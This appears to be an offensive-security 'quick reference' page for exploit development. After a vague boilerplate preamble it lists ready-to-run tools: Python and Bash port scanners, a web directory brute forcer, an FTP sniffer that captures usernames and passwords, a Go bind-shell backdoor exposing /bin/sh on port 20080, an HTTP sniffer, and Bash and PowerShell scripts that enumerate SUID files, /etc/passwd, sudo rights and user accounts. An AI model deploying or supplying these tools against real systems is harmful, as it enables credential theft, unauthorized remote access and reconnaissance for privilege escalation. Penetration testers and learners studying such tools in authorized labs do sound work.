Quick Reference

Why it matters in practice

Within Exploit Development, Quick Reference changes how scope, prerequisites and evidence should be handled. Focus on the concrete asset or data flow under test, record the assumptions that make the condition exploitable and connect verified behavior to an operational consequence and remediation decision.

This note keeps Quick Reference tied to offensive workflow: what to observe, what to prove, what usually goes wrong, and which references remain useful once an assessment moves from planning into active validation.

Primary coverage

The coverage below turns Quick Reference into an assessment map for Exploit Development: identify the relevant system boundary, select a safe validation path, preserve evidence and record uncertainty before drawing a conclusion.

• Python portscanner
• Python content bruter
• Python netcat ersatz
• Python ftp sniffer
• Go portscanner
• Go netcat backdoor
• Go http sniffer
• Bash automation
• Bash portscanner
• Bash privilege escalation

Assessment focus

import pyfiglet 
import sys 
import socket 
from datetime import datetime
from termcolor import colored

port_map = {
        21: "FTP",
        22: "SSH",
        25: "SMTP",
        80: "HTTP",
        110: "POP3",
        143: "IMAP",
        443: "HTTPS"
        }
   
ascii_banner = pyfiglet.figlet_format("PORT SCANNER") 
print(colored(ascii_banner, 'green')) 
   
in_target = input("TARGET:\t")      
target = socket.gethostbyname(in_target)  
  

print("-" * 50) 
print(colored(("Scanning Target: " + target), 'red', attrs=['reverse', 'blink'])) 
print("Scanning started at:" + str(datetime.now())) 
print("-" * 50) 
   
try: 
      
      for port in range(1,65535): 
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
        socket.setdefaulttimeout(1) 
          
      
        result = s.connect_ex((target,port)) 
        if result ==0: 
            if port in port_map:
                print(colored(("Port {}({}) is open".format(port, port_map[port])), 'green')) 
            else:
                print(colored(("Port {}(UNKNOWN) is open".format(port)), 'yellow')) 
        s.close() 
          
except KeyboardInterrupt: 
        print(colored("\n Exitting Program !!!!", 'red')) 
        sys.exit() 
except socket.gaierror: 
        print(colored("\n Hostname Could Not Be Resolved !!!!", 'red')) 
        sys.exit() 
except socket.error: 
        print(colored("\ Server not responding !!!!", 'red')) 
        sys.exit()

import queue
import threading
import urllib.error
import urllib.parse
import urllib.request
import pyfiglet
from termcolor import colored


threads = 50
target_url = "http://testphp.vulnweb.com"
wordlist_file = "all.txt"  # from SVNDigger
resume = None
user_agent = "Mozilla/5.0 (X11; Linux x86_64; rv:19.0) " \
             "Gecko/20100101 " \
             "Firefox/19.0"

ascii_banner = pyfiglet.figlet_format("CONTENT BRUTE")
print(colored(ascii_banner, 'yellow'))


def build_wordlist(wordlst_file):
    fd = open(wordlst_file, "r")
    raw_words = [line.rstrip('\n') for line in fd]
    fd.close()

    found_resume = False
    words = queue.Queue()

    for word in raw_words:
        if resume:
            if found_resume:
                words.put(word)
            else:
                if word == resume:
                    found_resume = True
                    print("Resuming wordlist from: %s" % resume)
        else:
            words.put(word)
    return words


def dir_bruter(extensions=None):
    while not word_queue.empty():
        attempt = word_queue.get()
        attempt_list = []

        if "." not in attempt:
            attempt_list.append("/%s/" % attempt)
        else:
            attempt_list.append("/%s" % attempt)
        if extensions:
            for extension in extensions:
                attempt_list.append("/%s%s" % (attempt, extension))

         
        for brute in attempt_list:
            url = "%s%s" % (target_url, urllib.parse.quote(brute))
            try:
                headers = {"User-Agent": user_agent}
                r = urllib.request.Request(url, headers=headers)
                response = urllib.request.urlopen(r)
                if len(response.read()):
                    print(colored(("[%d] => %s" % (response.code, url)),'green'))
            except urllib.error.HTTPError as e:
                if e.code != 404:
                    print("!!! %d => %s" % (e.code, url))
                pass


word_queue = build_wordlist(wordlist_file)
file_extensions = [".php", ".bak", ".orig", ".inc"]

for i in range(threads):
    t = threading.Thread(target=dir_bruter, args=(file_extensions,))
    t.start()

#!/usr/bin/python3
import optparse
from scapy.all import *
import re


def ftp(packet):
    dest = packet.getlayer(IP).dst
    raw = packet.sprintf('%Raw.load%')
    user = re.findall('(?i)USER (.*)', raw)
    pswd = re.findall('(?i)PASS (.*)', raw)

    if user:
        print("[!] Detected FTP Login %s: " % str(dest))
        print("[+] User: %s" % str(user[0]))
    elif pswd:
        print("[+] Password: %s" % str(pswd[0]))


if __name__ == "__main__":
    parser = optparse.OptionParser('Usage: -i <interface>')
    parser.add_option('-i', dest='interface', type='string', help='specify the NIC interface to listen on')
    (options, args) = parser.parse_args()

    if options.interface  == None:
        print(parser.usage)
        exit(0)
    else:
        conf.iface = options.interface

    try:
        sniff(filter='tcp port 21', prn=ftp)

    except KeyboardInterrupt as e:
        print("[-] Closing function")
        exit(0)

package main

import (
	"io"
	"log"
	"net"
	"os/exec"
)

func handle(conn net.Conn) {

	/*
	 * Explicitly calling /bin/sh and using -i for interactive mode
	 * so that we can use it for stdin and stdout.
	 * For Windows use exec.Command("cmd.exe")
	 */
	// cmd := exec.Command("cmd.exe")
	cmd := exec.Command("/bin/sh", "-i")
	rp, wp := io.Pipe()
	// Set stdin to our connection
	cmd.Stdin = conn
	cmd.Stdout = wp
	go io.Copy(conn, rp)
	cmd.Run()
	conn.Close()
}

func main() {
	listener, err := net.Listen("tcp", ":20080")
	if err != nil {
		log.Fatalln(err)
	}

	for {
		conn, err := listener.Accept()
		if err != nil {
			log.Fatalln(err)
		}
		go handle(conn)
	}
}

package main

import (
	"fmt"
	"log"

	"github.com/google/gopacket"
	"github.com/google/gopacket/pcap"
)

var (
	iface    = "eth0"
	snaplen  = int32(1600)
	promisc  = false
	timeout  = pcap.BlockForever
	filter   = "tcp and port 80"
	devFound = false
)

func main() {
	devices, err := pcap.FindAllDevs()
	if err != nil {
		log.Panicln(err)
	}

	for _, device := range devices {
		if device.Name == iface {
			devFound = true
		}
	}
	if !devFound {
		log.Panicf("Device named '%s' does not exist\n", iface)
	}

	handle, err := pcap.OpenLive(iface, snaplen, promisc, timeout)
	if err != nil {
		log.Panicln(err)
	}
	defer handle.Close()

	if err := handle.SetBPFFilter(filter); err != nil {
		log.Panicln(err)
	}

	source := gopacket.NewPacketSource(handle, handle.LinkType())
	for packet := range source.Packets() {
		fmt.Println(packet)
	}
}

#!/bin/bash
empty=""

while [ "$1" != "" ]; do
	case "$1" in
		-i | --ip )		ip="$2";	shift;;
		-p | --ports )		ports="$2";	shift;;
	esac
	shift
done

if [[ $ip == $empty ]]; then
	echo "Please specify an IP address with -i"
	exit
fi

if [[ $ports == $empty ]]; then
	echo "Please specify the max port range -p"
	exit
fi

echo "Scanning: $ip"

for i in $(seq 1 $ports); do
	( echo > /dev/tcp/$ip/$i) > /dev/null 2>&1 && echo $ip":"$i "is open";
done

#! /bin/bash
user=$(whoami)
echo "USER: $user"
echo "SUID set"
echo $(find . -perm /4000)
echo "SGID set"
echo $(find . -perm /2000)
echo "/etc/passwd"
echo $(cat /etc/passwd)
echo "IP Config"
echo $(ip addr)
echo "SUDO"
echo $(sudo -l)

Write-Host -ForegroundColor Green "Enumeration Script"
Write-Host -ForegroundColor Red "Users:"
Get-LocalUser | Select *
Write-Host -ForegroundColor Yellow "Network Interfaces"
netsh interface ipv4 show interfaces
Write-Host -ForegroundColor Magenta "Network adapter details"
Get-NetAdapter
Write-Host -ForegroundColor Cyan "Permissions to C:"
Get-Acl C:\

Selected public references

• pwntools Documentationdocs.pwntools.com/en/stable/
• gef-legacy.readthedocs.io · Latestgef-legacy.readthedocs.io/en/latest/
• pwndbgpwndbg.re/
• Shell-Stormshell-storm.org/
• Exploit Databaseexploit-db.com/